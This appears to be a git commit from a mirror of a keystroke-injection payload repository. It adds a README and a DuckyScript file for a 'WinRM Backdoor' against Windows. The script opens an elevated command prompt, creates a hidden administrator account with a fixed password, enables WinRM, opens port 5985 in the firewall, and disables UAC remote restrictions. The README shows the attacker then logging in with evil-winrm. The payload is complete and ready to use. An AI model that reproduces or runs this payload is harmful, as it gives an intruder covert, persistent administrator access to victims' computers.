mirror of https://github.com/hak5/omg-payloads.git
commit
b722d6961f
|
@ -0,0 +1,28 @@
|
||||||
|
# "Microsoft Windows" WinRM Backdoor
|
||||||
|
|
||||||
|
- Title: "Microsoft Windows" WinRM Backdoor
|
||||||
|
- Author: TW-D
|
||||||
|
- Version: 1.0
|
||||||
|
- Target: Microsoft Windows
|
||||||
|
- Category: Remote Access
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
1) Adds a user account (OMG_User:OMG_P@ssW0rD).
|
||||||
|
2) Adds this local user to local administrator group.
|
||||||
|
3) Enables "Windows Remote Management" with default settings.
|
||||||
|
4) Adds a rule to the firewall.
|
||||||
|
5) Sets a value to "LocalAccountTokenFilterPolicy" to disable "UAC" remote restrictions.
|
||||||
|
6) Hides this user account.
|
||||||
|
|
||||||
|
## Exploitation
|
||||||
|
|
||||||
|
>
|
||||||
|
> The connection identifiers will be those defined by the values : **OMG_User** and **OMG_P@ssW0rD**.
|
||||||
|
>
|
||||||
|
|
||||||
|
```
|
||||||
|
hacker@hacker-computer:~$ evil-winrm --ip <TARGET> --user OMG_User --password 'OMG_P@ssW0rD'
|
||||||
|
*Evil-WinRM* PS C:\Users\OMG_User\Documents> whoami
|
||||||
|
desktop-xxxxxxx\omg_user
|
||||||
|
```
|
|
@ -0,0 +1,83 @@
|
||||||
|
REM #
|
||||||
|
REM # Title: "Microsoft Windows" WinRM Backdoor
|
||||||
|
REM #
|
||||||
|
REM # Description:
|
||||||
|
REM # 1) Adds a user account (OMG_User:OMG_P@ssW0rD).
|
||||||
|
REM # 2) Adds this local user to local administrator group.
|
||||||
|
REM # 3) Enables "Windows Remote Management" with default settings.
|
||||||
|
REM # 4) Adds a rule to the firewall.
|
||||||
|
REM # 5) Sets a value to "LocalAccountTokenFilterPolicy" to disable "UAC" remote restrictions.
|
||||||
|
REM # 6) Hides this user account.
|
||||||
|
REM #
|
||||||
|
REM # Author: TW-D
|
||||||
|
REM # Version: 1.0
|
||||||
|
REM # Category: Remote Access
|
||||||
|
REM # Target: Microsoft Windows
|
||||||
|
REM #
|
||||||
|
REM # TESTED ON
|
||||||
|
REM # ===============
|
||||||
|
REM # Microsoft Windows 10 Family Version 20H2 (PowerShell 5.1)
|
||||||
|
REM # Microsoft Windows 10 Professional Version 20H2 (PowerShell 5.1)
|
||||||
|
REM #
|
||||||
|
REM # REQUIREMENTS
|
||||||
|
REM # ===============
|
||||||
|
REM # The target user must belong to the 'Administrators' group.
|
||||||
|
REM #
|
||||||
|
|
||||||
|
REM ######## INITIALIZATION ########
|
||||||
|
|
||||||
|
DELAY 1000
|
||||||
|
DUCKY_LANG US
|
||||||
|
DELAY 1000
|
||||||
|
|
||||||
|
REM ######## STAGE1 ########
|
||||||
|
|
||||||
|
GUI r
|
||||||
|
DELAY 3000
|
||||||
|
STRING cmd
|
||||||
|
DELAY 1000
|
||||||
|
CTRL SHIFT ENTER
|
||||||
|
DELAY 3000
|
||||||
|
LEFTARROW
|
||||||
|
DELAY 5000
|
||||||
|
ENTER
|
||||||
|
DELAY 5000
|
||||||
|
|
||||||
|
REM ######## STAGE2 ########
|
||||||
|
|
||||||
|
STRING NET USER OMG_User OMG_P@ssW0rD /ADD
|
||||||
|
ENTER
|
||||||
|
DELAY 1500
|
||||||
|
|
||||||
|
STRING NET LOCALGROUP Administrators OMG_User /ADD
|
||||||
|
ENTER
|
||||||
|
DELAY 1500
|
||||||
|
|
||||||
|
REM ######## STAGE3 ########
|
||||||
|
|
||||||
|
STRING WINRM QUICKCONFIG
|
||||||
|
ENTER
|
||||||
|
DELAY 3000
|
||||||
|
|
||||||
|
STRING y
|
||||||
|
ENTER
|
||||||
|
DELAY 1500
|
||||||
|
|
||||||
|
STRING NETSH ADVFIREWALL FIREWALL ADD RULE NAME="Windows Remote Management for OMG" PROTOCOL=TCP LOCALPORT=5985 DIR=IN ACTION=ALLOW PROFILE=PUBLIC,PRIVATE,DOMAIN
|
||||||
|
ENTER
|
||||||
|
DELAY 1500
|
||||||
|
|
||||||
|
REM ######## STAGE4 ########
|
||||||
|
|
||||||
|
STRING REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /f /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1
|
||||||
|
ENTER
|
||||||
|
DELAY 1500
|
||||||
|
|
||||||
|
STRING REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /f /v OMG_User /t REG_DWORD /d 0
|
||||||
|
ENTER
|
||||||
|
DELAY 1500
|
||||||
|
|
||||||
|
REM ######## FINISH ########
|
||||||
|
|
||||||
|
STRING EXIT
|
||||||
|
ENTER
|
Loading…
Reference in New Issue